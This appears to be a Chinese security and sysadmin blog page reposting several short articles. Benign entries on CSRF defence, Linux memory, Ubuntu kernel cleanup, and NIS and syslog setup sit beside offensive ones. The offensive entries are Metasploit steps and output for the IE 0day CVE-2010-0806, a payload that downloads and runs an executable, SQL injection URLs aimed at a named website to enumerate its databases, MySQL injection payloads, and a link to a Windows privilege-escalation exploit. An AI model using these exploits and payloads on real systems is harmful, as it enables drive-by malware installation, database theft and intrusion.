技术专题

关于最近那个网马0day(CVE-2010-0806)用Metasploit生成方法

一、下载http://www.rec-sec.com/exploits/msf/ie_iepeers_pointer.rb

二、放到C:\Metasploit\Framework3\msf3\modules\exploits\test。我改个了名字叫ie.rb

三、启动msfconsole

四、msf > use exploit/test/ie

msf exploit(ie) > show optinos

回显:

Module options:

Name        Current Setting Required Description
—-        ————— ——– ———–
SRVHOST     0.0.0.0          yes       The local host to listen on.
SRVPORT     8080             yes       The local port to listen on.
SSL         false            no        Negotiate SSL for incoming connections
SSLVersion SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH                      no        The URI to use for this exploit (default is random)
Exploit target:

Id Name
– —-
0   Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0

msf exploit(ie) > set srvhost 192.168.0.3
srvhost => 192.168.0.3
msf exploit(ie) > set srvport 8080
srvport => 8080

msf exploit(ie) > set payload windows/download_exec
payload => windows/download_exec

msf exploit(ie) > set url http://192.168.0.3/demo.exe
url => http://192.168.0.3/demo.exe
msf exploit(ie) > exploit
[*] Exploit running as background job.

msf exploit(ie) >
[*] Using URL: http://192.168.0.3:8080/4rJ0JRSnX55wAY
[*] Server started.

然后打开http://192.168.0.3:8080/4rJ0JRSnX55wAY,你就可以看到源码了。

红字是命令,其它的是回显

from:http://hi.baidu.com/myvbscript/blog/item/c1444edf23fa3e1848540320.html

Linux 内存计算

物理内存 + 占用的swap = 空闲物理内存 + Memory buffer + Disk Cache + 使用掉的驻留内存

4G + 53MB = 17MB + 46MB + 3.2GB + ?

所以使用掉的驻留内存差不多有700-800MB

再累计你top出来那些进程的驻留内存数量,应该是八九不离十的。

从你的操作系统的性能数据来看,物理内存还空闲的很,大部分物理内存被操作系统用做disk cache,可能你的系统IO还是稍微有点频繁的。swap也占用了一点,说明操作系统曾经出现过短暂的内存吃紧的状况,把一些闲置进程换到了swap上 去了,而这些闲置进程一直也没有再被使用到过,所以一直待在swap里面没有出来过。

防御CSRF的第四种方法?

我们知道,一般防御CSRF有三种方法,判断referer验证码token

对于判断referer来说,虽然客户端带用户状态的跨域提交,js和as已经无法伪造referer了;但是对于客户端软件和flash的提交,一般是不带referer的,据说一些山寨浏览器也不带。那么就需要为此开绿灯,但这样使得外站的flash请求伪造无法被防御。

而验证码弊端明显:会对用户造成影响。

token的问题也有一些:时效性无法保证;大型服务时,需要一台token生成及校验服务器;需要更改所有表单添加字段。

而最近我在做之类的防御时,想出了另外一种方法,跟xeye、woyigui等人在群里讨论了一番,认为应该是可行的,所以拿出来分享一下,并让其他的牛人看看是否有什么弊端

其实原理非常简单,与token也差不多:当表单提交时,用js在本域添加一个临时的cookies字段,并将过期时间设为1秒钟之后,然后再提交;服务端校验有这个字段即放行,没有则认为是CSRF。

token防csrf的原理是:无法通过ajax等方式获得外域页面中的token值,xmlhttprequest需要遵守浏览器同源策略;而临时cookies的原理也是:cookies只能在父域和子域之间设置,也遵守同源策略。

我们可以简单看一个demo:

demo:

http://127.0.0.1/test.html:

<script>
function doit(){
var expires = new Date((new Date()).getTime()+1000);
document.cookie = “xeye=xeye; expires=” + expires.toGMTString();
}
</script>
<form action=”
http://127.0.0.1/test.php” name=”f” id=”f” onsubmit=”doit();” target=”if1″>
<input type=”button” value=”normal submit” onclick=”f.submit();”>
<input type=”button” value=”with token” onclick=”doit();f.submit();”>
<input type=”submit” value=”hook submit”>
</form>
<iframe src=”about:blank” name=”if1″ id=”if1″></iframe>

http://127.0.0.1/test.php

<?php
echo “<div>Cookies</div>”;
var_dump($_COOKIE);
?>

test.html为浏览器端的表单,里面有三个按钮:

第一个是正常的表单提交;第二个是添加临时cookies后提交表单;第三个是以hook submit事件来添加临时cookies并提交。

结果就像开头的图片演示那样,正常的表单提交不会出现临时cookies字段,第二个和第三个按钮提交则会出现。大家可以反复点击按钮来查看结果,但需要注意时间间隔需超过1秒。(当然可以将test.html拿到外域看看,不过要注意form的target不能指向iframe了,可以以新窗口打开。由于同源策略,cookies肯定是带不过去的)

不过这种方式只适用于单域名站点,或者安全需求不需要“当子域发生XSS隔离父域”。因为子域是可以操作父域的cookies的,所以它的缺陷也比较明显:这种方法无法防御由于其他子域产生的xss所进行的表单伪造提交。而一个区分分域的自校验token是可以防止从其他子域到本域的提交的。但如果对于单域而言,这种方法应该是足够的,并且安全性可能会略大于token。

和群里的几位大牛讨论了一下,也认为这种方式没有什么大问题,不过确实有一些小的疑问,譬如:

网络不流畅,有延迟会不会导致cookies失效。这个显然是不会的,因为服务端cookies是在提交请求的header中获得的。延时在服务端,不在客户端,而1秒钟足可以完成set Cookies+post header整个post表单的过程。

cookies的生成依赖于js,相当于这个token是明文的?这个的确,不管采取多少种加密,只要在客户端,就会被破解,不过不管怎样,csrf无法在有用户状态的情况下去添加这个临时cookies字段。虽然服务端curl等可以,但是无法将当前用户的状态也带过去。

外站是否可以伪造这个临时cookies呢?目前来看至少通过as和js无法向其他域添加和更改cookies的,通过服务端虽然可以伪造cookies,但获得不到目标域的用户状态。

如果目标域有XSS就完蛋了?恩,不过一般来说判断referer、token和简单的验证码(利用canvas识别?)也差不多完蛋了。

如果由于某种网络问题,获得不到cookies了呢?那么用户状态也不能获得了,用户只能再提交一次了。

ok,就这些!

说实话,这种新方法究竟是否真正有效我也没谱,说不定有某种BT的方式可以绕过?所以share一下,大家不妨看看是否真的有效。如果真有效,那么大概是一种最简单的,对代码改动最小,对服务器压力也最小的防御CSRF的方法了。

最后感谢下woyigui,提出了很多建议呵呵!

Monyer!

from:http://hi.baidu.com/monyer/blog/item/6097347a958babe62e73b3bf.html

Google Gears for Attackers

Google Gears是一个用来开发离线网络应用的工具,是一个JavaScript应用编程接口,通过Google Gears可以允许多种Web应用程序脱机运行,可以让用户在上线或者离线状态下运行网络程序,其源代码是公开的。

Google Gears包括两大模块:Database和LocalServer。可能存在安全问题的地方:同源策略和用户权限。Google Gears以前爆出过同源策略的漏洞:“Google Gears WorkerPool API绕过同源策略”。

在这里我介绍的是另一种攻击方式:攻击者如果实施DNS欺骗或MITM攻击,就可以向Google Gears API接口发送恶意代码,然后窃取受害者Google Gears Database中的数据;或是攻击者可以在受害者LocalServer的缓存文件中写入恶意代码,留下后门。

有关详细信息可以阅读:http://www.andlabs.org/whitepapers/GoogleGears_for_Attackers.pdf。此文档中,你可以看到完整的攻击方法,还包括一个myspace 0day的实例演示和攻击工具介绍。

from:http://hi.baidu.com/xisigr/blog/item/d311f6126622e928dc540147.html

清理Ubuntu老内核的小脚本

Ubuntu用久了,升级了几次内核以后,就免不了需要清理一下老的内核,毕竟一套内核就有170多M的空间呢。但是每次都打一堆字来清理也烦了。虽然Ubuntu 命令技巧(这里再罗嗦几句:如果还有Ubuntuer没看过这个,强烈建议看一遍。)里有删除旧内核的命令,而且就一行:

sudo aptitude purge ~ilinux-image-.*\(\!`uname -r`\)

但是我却不是很喜欢,因为这这个没有把linux-headers-xxx删除掉。
于是自己写了个繁的,需要的可以自己保存,以便不时之需。

#!/bin/sh
# 清理Ubuntu的老内核
# by bones7456
# http://li2z.cn
CURRENT="`uname -r | awk -F"-" '{print $1"-"$2}'`"
HEADERS=""
IMAGES=""
for HEADER in `dpkg --get-selections | grep ^linux-headers | \
grep -vE "(generic|386|virtual)" | awk '{gsub(/linux-headers-/,"",$1);print $1}'`
do
    if [[ "$CURRENT" < "$HEADER" ]]
    then
        echo "正在运行的内核不是最新的。 $CURRENT < $HEADER"
        echo "Running kernel is not the newest. $CURRENT < $HEADER"
        exit 1
    else
        [[ "$CURRENT" != "$HEADER" ]] && {
            HEADERS="${HEADERS} linux-headers-${HEADER}"
            IMAGE="`dpkg --get-selections | grep ^linux-image | \
                grep "${HEADER}" | awk '{print $1}'`"
            IMAGES="${IMAGES} $IMAGE"
        }
    fi
done

if [[ x"$HEADERS" == x"" ]]
then
    echo "没有要清理的老内核."
    echo "No old kernel need to clean."
    exit 0
fi
CMD="sudo apt-get purge $HEADERS $IMAGES"
echo "$CMD"
if [ "$1" == "-e" ]
then
    sh -c "$CMD"
else
    echo "请确定以上命令是否正确,然后输入 $0 -e 来执行以上命令。"
    echo "Be sure this command is right, then type $0 -e to execute."
fi
from:li2z.cn

NIS认证的配置管理和自动挂载目录

  环境介绍:服务器192.168.0.254新建用户guest2017,家目录为/home/guests/guest2017,并共享该目录。

  1、配置本机的NIS认证

  # setup

  选择“ Authentication configuration”-“Use NIS”-“next”-Domain:notexample Server: 192.168.0.254-OK
  2、查看两个文件

  # vim /etc/nsswitch.conf

  保证 passwd shadow group后面有“nis”

  # vim /etc/yp.conf

  最后一行有domain 和 server

  3、测试效果,切换用户

  # su guest2017

  # exit

  可以看到能够成功切换,但是用户没有家目录

  下面就把远程服务器上的家目录需要时自动挂载到本地

  4、编辑自动挂载的配置文件

  # vim /etc/auto.master

  加入一行

  /home/guests /etc/auto.home

  5、新建auto.home文件

  # vim auto.home

  guest2017 -rw,soft,intr 192.168.0.254:/home/guests/guest2017

  6、测试效果

  # su – guest2017

  可以看到用户的环境变量已经改变

  # ls /home/guests

  去/home/guests/查看可以看到目录guest2017存在

绕过单引号继续注入

/

Web应用程序一般都会使用数据库来保存各种信息,比如电子商务网站的帐户信息、销售商品的价格,订单、支付细节、和各种不同的权限数值等。数据库中的信息的读取、更新、增加或者删除等都是通过SQL来实现的,因此,在数据交互的环节没有安全过滤净化,则可能易于受到SQL注入攻击,严重的可能导致数据库非法操作,但是随着时间的推移,Web应用程序的开发者安全意识的日渐增强,SQL注入漏洞已经呈下降消失状态,但是之前的Web程序在被动防范SQL攻击时,还是略显乏力,或者说是考虑不太周全。比如说普遍使用的过滤关键字的方法,如果仅仅过滤单引号或者小写类的关键字,则极易出现绕过的情形,而国内的安全公司相继推出的硬件WAF是否会存在同样的问题呢?从根本上说硬件WAF基于访问请求流量来鉴别攻击行为,可能在以后的攻防对立的演化过程也会慢慢有爆出被绕过的问题,所有的问题依然存在。本文试着在注入的SQL语句中不引用单引号,来和大家讨论一下注入攻击的部分原理和技巧。在一次测试中,发现一注入点过滤了单引号和小写的关键字,提交语句如下:

http://www.nuanyue.com/Test.asp?id=28′ AND 1=(SELECT @@VERSION)—


去掉单引号再次提交:

http://www.nuanyue.com/Test.asp?id=28 AND 1=(SELECT @@VERSION)—


成功爆出数据库的系统版本了,说明在处理数据提交时,网站即使过滤了单引号了,依然可以注入。以下将和大家讨论获取数据库名、获取表名、获取列名、获取值等内容的部分SQL语句。在Mssql2005master.dbo.sysdatabases表中存放着SQLSERVER数据库系统中的所有的数据库信息,仅需要PUBLIC权限就可以进行select操作:

use master;

SELECT * FROM MASTER.DBO.SYSDATABASES


一至四,都是系统自带的数据库名,所以可以通过dbid这个查询变量来一一进行爆出数据库名,提交查询语句:

http://www.nuanyue.com/Test.asp?id=28 AND 1 IN (SELECT NAME FROM MASTER.DBO.SYSDATABASES WHERE DBID=3)


查询语句通过dbid取值从1至到无法爆出数据库名为至。


Mssql2005版本里每个数据库都有一个用来存放表名信息的表,其权限同样仅public权限就能查询了,表名为:INFORMATION_SCHEMA.TABLES

use master ;

select * from INFORMATION_SCHEMA.TABLES;


表名就存储在TABLE_NAME列里,通过使用条件查询语句限制型“Top 1″,一条条纪录爆出表名来。

http://www.nuanyue.com/Test.asp?id=28 AND 1 IN (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES)


其为爆出的第一条纪录。如想爆出第一条记录,即可以使用sql语法的条件语句“where table_name !=0x已经爆出表名的十六进制来取内容。先取已爆表名的十六进制。


再提交语句如下:

http://www.nuanyue.com/Test.asp?id=28 AND 1 IN (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME!=0×41006400760065007200740069007A0065007200)


成功爆出第二个表名,剩下的以此类推。当然读取数据库的INFORMATION_SCHEMA.TABLES表内容,只是当前数据库的表名,如果要读取整个数据库的表名,可以读sysobjects表的name列名,原理同上。

在获取表名,得到列名是注入的下一个关键问题,在MSSQL 2005的数据库里,有张表名sys.all_objects里存放着表与列的信息,其表的列名object_id里存放着一个数值,对应着另一表名sys.all_columns里的列名ID,sys.all_columns表里存放着列的信息。执行:

Select * from sys.all_objects


由上图可知,列名name和列名object_id是有对应的。在注入时,可以通过指定name值来指定爆表的object_id的值。提交:

http://www.nuanyue.com/Test.asp?id=28 AND 999999< (SELECT TOP 1 CAST([OBJECT_ID] AS NVARCHAR(20)) FROM SYS.ALL_OBJECTS WHERE43006C00690063006B0049005000)—


以上语句是无法直接爆出数值来的,但是可以用折半法来进行猜解,由于其数值都在10位以上,所以,其法也不太可能,但是可以联合两张表来直接查询。再次提交:

http://www.nuanyue.com/Test.asp?id=28 AND 9 in (SELECT B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.NAME=0×43006C00690063006B0049005000)—


已经爆出表名0×43006C00690063006B0049005000的第一个列名ID了,可以加入条件“and B.NAMe != 0x已经爆出的列名
类推可以依次爆出。

http://www.nuanyue.com/Test.asp?id=28 AND 9 in (SELECT B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.NAME=0×43006C00690063006B0049005000 AND B.NAME!=0×49004400)—


在获取了表名和列名之后,获取其值也是很简单的。比较常用的有比如这样的获取值的:

http://www.nuanyue.com/Test.asp?id=28 AND 77= (SELECT ascii(@@VERSION))

http://www.nuanyue.com/Test.asp?id=28 AND 1=2 UNSION SELECT 1,2,3..@@VERSION–…

一种是爆错对比,一种是union操作。第一种是基于查询后值的对比,而union操作是将执行返回的结果直接在浏览器显示,从而避免繁琐的折半猜测,在使用union操作时,前提则是前后查询的两种结果的结构相同,即是列名数相同,可以通过“order by 列名数来鉴别。

http://www.nuanyue.com/Test.asp?id=28 order by 1—

http://www.nuanyue.com/Test.asp?id=28 order by 2


http://www.nuanyue.com/Test.asp?id=28 Order by 8—

此时,返回错误页面,即说明列名数是8,执行语句:

http://www.nuanyue.com/Test.asp?id=28 and 1=2 Unsion select 1,2,3,4,5,6,7,8—

来取出纪录。

防范SQL注入攻击,尽管不同的数据库也会有不同的攻击技巧,复杂程序也各不相同,而许多SQL注入防范措施仅仅从某一处着手或者部分有效,从一个安全整体的角度立体的防护或许是值得借鉴的方法,比如从代码逻辑层、数据库层、网络层、系统层等,从本文阐述的原理来看,下次针对数据库的安全加固,你是否会调整一下“SYSOBJECTSSYSCOLUMNS”等对象的权限呢?好像数据库批量挂马也有用到这两个表哦!

From:http://www.nuanyue.com/绕过单引号继续注入.html

Linux syslog日志服务器架设攻略

从目前的情况来看,Syslog(系统日志)这一历史悠久的日志系统仍旧占据着最主流的地位。由于与类 UNIX平台之间的渊源,Syslog是在实际应用环境中最容易获得的日志系统。同时,还有很多的基于Syslog的扩展产品存在,这其中也包括大量基于UNIX平台构建内核的网络硬件设备,这些设备往往都内置了Syslog功能支持,例如Cisco路由器就是如此。

一、 配置syslog守护进程

syslog是Linux系统默认的日志守护进程。默认的syslog配置文件是/etc/syslog.conf文件。syslog守护进程是可配置的,它允许人们为每一种类型的系统信息精确地指定一个存放地点。现在,我们先看看syslog.conf文件的配置行格式(这个文件里的每一个配置行都是同样的格式),然后再看一个完整的syslog配置文件。syslog配置行的格式如下所示:

mail.*/var/log/mail

这一行由两个部分组成。第一个部分是一个或多个”选择条件”;上例中的选择条件是”mail”。选择条件后面跟一些空格字符,然后是一个”操作动作”;上例中的操作动作是:/var/log/mail

1选择条件

选择条件本身分为两个字段,之间用一个小数点(.)分隔。前一字段是一项服务,后一字段是一个优先级。选择条件其实是对消息类型的一种分类,这种分类便于人们把不同类型的消息发送到不同的地方。在同一个syslog配置行上允许出现一个以上的选择条件,但必须用分号(;)把它们分隔开。上面给出的例子里只有一个选择条件”mail”。大家可以在我们后面给出的那个完整的syslog配置文件示例里看到同时有多个选择条件的配置行。表1列出了绝大多数 Linux操作系统变体都可以识别的选择条件。

2 优先级

优先级是选择条件的第二个字段,它代表消息的紧急程度。对一个应用程序来说,它发出的哪些消息属于哪一种优先级是由当初编写它的程序员决定的,应用程序的

使用者只能接受这样的安排——除非打算重新编译系统应用程序。表2按严重程度由低到高的顺序列出了所有可能的优先级。

不同的服务类型有不同的优先级,数值较大的优先级涵盖数值较小的优先级。如果某个选择条件只给出了一个优先级而没有使用任何优先级限定符,对应于这个优先级的消息以及所有更紧急的消息类型都将包括在内。比如说,如果某个选择条件里的优先级是”warning”,它实际上将把”warning”、 “err”、”crit”、”alert”和”emerg”都包括在内。

3优先级限定符

syslog允许人们使用三种限定符对优先级进行修饰:星号(*)、等号(=)和叹号(!)。熟悉规则表达式的读者应该对这三种限定符不会感到陌生。星号(*)的含义是”把本项服务生成的所有日志消息都发送到操作动作指定的地点”。就像它在规则表达式里的作用一样,星号代表”任何东西”。在前面给出的例子里,”mail.*”将把所有优先级的消息都发送到操作动作指定的/var/log/mail文件里。使用”*”限定符与使用”debug”优先级的效果完全一样,后者也将把所有类型的消息发送到指定地点。

等号(=)的含义是”只把本项服务生成的本优先级的日志消息都发送到操作动作指定的地点”。比如说,可以用”=”限定符只发送调试消息而不发送其他更紧急的消息(这将为应用程序减轻很多负担)。当你只需要发送特定优先级别的消息时,就要使用等号限定符。

就像它在编程时的用法一样,等号意味着等于且仅等于。叹号(!)的含义是”把本项服务生成的所有日志消息都发送到操作动作指定的地点,但本优先级的消息不包括在内”。比如说,这条syslog配置行将把除info优先级以外的所有消息发送到/var/log/mail文件里:

mail.*;mail.!info/var/log/mail

在这个例子里,”mail.*”将发送所有的消息,但”mail.!info”却把info优先级的消息排除在外。就像它在编程时的用法一样,叹号意味着”非”。

4 操作动作

日志信息可以分别记录到多个文件里,还可以发送到命名管道、其他程序甚至另一台机器。syslog配置文件并不复杂,既容易阅读又容易操作使用。这个文件里的注释都非常有用,应该好好读读它们.

二、 建立一个中央日志服务器

1建立中央日志服务器前的准备工作

配置良好的网络服务(DNS和NTP)有助于

提高日志记录工作的精确性。在默认情况下,当有其他机器向自己发送日志消息时,中央日志服务器将尝试解析该机器的FQDN (fullyqualifieddomainname,完整域名)。(你可以在配置中央服务器时用”-x”选项禁止它这样做。)如果syslog守护进程无法解析出那个地址,它将继续尝试,这种毫无必要的额外负担将大幅降低日志记录工作的效率。类似地,如果你的各个系统在时间上不同步,中央日志服务器给某个事件打上的时间戳就可能会与发送该事件的那台机器打上的时间戳不一致,这种差异会在你对事件进行排序分析时带来很大的困扰;对网络时间进行同步有助于保证日志消息的时间准确性。如果想消除这种时间不同步带来的麻烦,先编辑/etc/ntp.conf文件,使其指向一个中央时间源,再安排ntpd守护进程随系统开机启动就可以了。

2配置一个中央日志服务器

只须稍加配置,就可以用syslog实现一个中央日志服务器。任何一台运行syslog守护进程的服务器都可以被配置成接受来自另一台机器的消息,但这个选项在默认情况下是禁用的。在后面的讨论里,如无特别说明,有关步骤将适用于包括SUSE和RedHat在内的大多数Linux发行版本。我们先来看看如何激活一个syslog服务器接受外来的日志消息:

1. 编辑/etc/sysconfig/syslog文件。

在”SYSLOGD_OPTIONS”行上加”-r”选项以允许接受外来日志消息。如果因为关于其他机器的DNS记录项不够齐全或其他原因不想让中央日志服务器解析其他机器的FQDN,还可以加上”-x”选项。此外,你或许还想把默认的时间戳标记消息(–MARK–)出现频率改成比较有实际意义的数值,比如240,表示每隔240分钟(每天6次)在日志文件里增加一行时间戳消息。日志文件里的”–MARK–”消息可以让你知道中央日志服务器上的 syslog守护进程没有停工偷懒。按照上面这些解释写出来的配置行应该是如下所示的样子:

SYSLOGD_OPTIONS=”-r-x-m240″

2.重新启动syslog守护进程。修改只有在syslog守护进程重新启动后才会生效。如果你只想重新启动syslog守护进程而不是整个系统,在RedHat机器上,执行以下两条命令之一:

/etc/rc.d/init.d/syslogstop;/etc/rc.d/init.d/syslogstart

/etc/rc.d/init.d/syslogrestart

SUSE上执行以下命令

/etc/init.d/syslog restart

3.如果这台机器上运行着iptables防火墙或TCPWrappers,请确保它们允许514号端口上的连接通过。syslog守护进程要用到514号端口。

4为中央日志服务器配置各客户机器

让客户机把日志消息发往一个中央日志服务器并不困难。编辑客户机上的/etc/syslog.conf文件,在有关配置行的操作动作部分用一个”@”字符指向中央日志服务器,如下所示:

authpriv.*@192.168.1.40

另一种办法是在DNS里定义一个名为”loghost”的机器,然后对客户机的syslog配置文件做如下修改(这个办法的好处是:当你把中央日志服务器换成另一台机器时,不用再修改每一个客户机上的syslog配置文件):

authpriv.*@loghost

接下来,重新启动客户机上的syslog守护进程让修改生效。让客户机在往中央日志服务器发送日志消息的同时继续在本地进行日志工作仍有必要,起码在调试客户机的时候不必到中央日志服务器查日志,在中央日志服务器出问题的时候还可以帮助调试。

From:IT168

利用MySQL的注射点得到更多MySQL的信息

当注射MySQL库的输入点的时候,我们可以通过version()/user()/database()/password()等内置函数来得到MySQL的相关信息,其实我们在注射的时候可以利用MySQL内置的变量来得到更多的MySQL信息

其中version()可以写成@@version来把version当做变量来读取,这样一样可以得到,其他的内置是不可以写成变量的形式.
大家都应该用过利用pangolin来注入MySQL库的注射点,认真的朋友都应该知道可以的得到basedir和datadir这两个变量的信息,其实还有更多的变量在注射的时候可以利用
我整理了几个在注射的时候可以利用到,收集更多关于MySQL的配置信息

@@have_openssl 如果MySQLd支持客户端/服务器协议的SSL(加密)则为YES
@@version_compile_os 判断系统类型
@@max_allowed_packet 包或任何生成的/中间字符串的最大大小
@@max_user_connections MySQL账户允许的最大同时连接数,0表示没限制
@@skip_networking 如果服务器只允许本地(非TCP/IP)连接,该值为ON
@@table_type 默认表类型(存储引擎)
@@basedir MySQL安装基准目录
@@character_set_database 默认数据库使用的字符集
@@datadir 数据库存储的地方
@@expire_logs_days 二进制日志自动删除的天数,默认是0,表示”没有自动删除”
@@group_concat_max_len 允许group_concat()函数结果的最大长度
@@log_error 错误日志的位置
@@lower_case_file_system 该变量说明是否数据目录所在的文件系统对文件名的大小写敏感.
ON说明对文件名的大小写不敏感,OFF表示敏感
@@lower_case_table_names 如果设置为1,表名用小写保存到硬盘上,并且表名比较时不对大小写敏感.
如果设置为2,按照指定的保存表名,但按照小写来比较
@@plugin_dir 插件目录的路径
@@tmpdir 保存临时文件和临时表的目录
@@tmp_table_size 如果内存内的临时表超过该值,MySQL自动将它转换为硬盘上的MyISAM表
@@sql_mode 当前服务器的sql模式
@@tx_isolation 默认事务隔离级别。默认值为REPEATABLE-READ
@@Connections 连接MySQL数据库服务器的次数(不管成功还是失败)
@@max_write_lock_count 最大写锁数量
@@old_passwords 是否启用MySQL323加密方式(就是MySQL用户密码的hash是16位的)
@@Uptime 服务器已经运行的时间

其中我感觉basedir/version_compile_os/log_error/group_concat_max_len这四个变量的作用很大,大家看上面的注视
group_concat_max_len这个变量涉及到group_concat()的返回字符长度,所以在使用group_concat()来注射时候要注意长度的限制.

tips:group_concat()函数的利用如下
url and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata
这样的话,就可以把当前用户中建立数据库名全部显示出来,在注射表名、字段名、字段属性都可以使用,这样的话又省了不少体力活
同时group_concat()还可以绕过不能使用limit的现实,当然不嫌累的话,可以使用”!=”的形式来绕过limit的限制
from:mysql社区

Ubuntu 9.04安装VMwareTools


Ubuntu 9.04,VMware Workstation 6.5.2,自带的VMwareTools安装以后有问题,最严重的是不能文件共享,这几天把Ubuntu里面写的代码拷出来都是靠samba ,太麻烦了,google一下,找到这个东西,刚安装过,正常解决文件不能共享的问题。google的时候,发现很多人提供的解决方案非常繁琐,而且还没有解决问题。把这个东西贴出来,估计有很多人需要。
提供的下载就是VMwareTools安装包,直接解压跟正常安装VMwareTools一样,一路回车就行了~~~

http://www.brsbox.com/filebox/down/fc/45d5dc8585324629af3882b5518bb1f5

Nmap 5.20发布

Nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端,并能推断出对方运行的操作系统。现在Nmap正式发布5.20版,包含了GUI前端Zenmap的一个更新版。Nmap 5.20现在能识别出Snow Leopard,Android Linux智能手机,以及Chumby、HW group、Icom、Lyngsoe和NEC等生产的打印机、宽带路由器和其它设备,共收集了1349个指纹。Nmap 5.20还新增了31个Nmap Scripting Engine脚本,预写好脚本总数达到了80个。脚本包括了X11访问检查,观察系统上的X.org是否允许远程访问;检索并打印SSL证书的脚本;设计检查主机是否有恶意程序的脚本等等。下载源代码和二进制包”

提权0day—Windows NT #GP Trap Handler Allows Users to Switch Kernel Stack

Windows 7、Windows 2008、Windows Vista、Windows 2003、Windows XP、Windows 2000、Windows NT4下均可利用,guset权限下也能成功。可应用的地方很多,很好的一个洞。不知微软补丁时会不会顺带补上其他的~

code :http://www.metasploit.com/redmine/projects/framework/repository/revisions/8167/show/external/source/kitrap0d

from:http://www.xyzreg.net/blog/read.php?55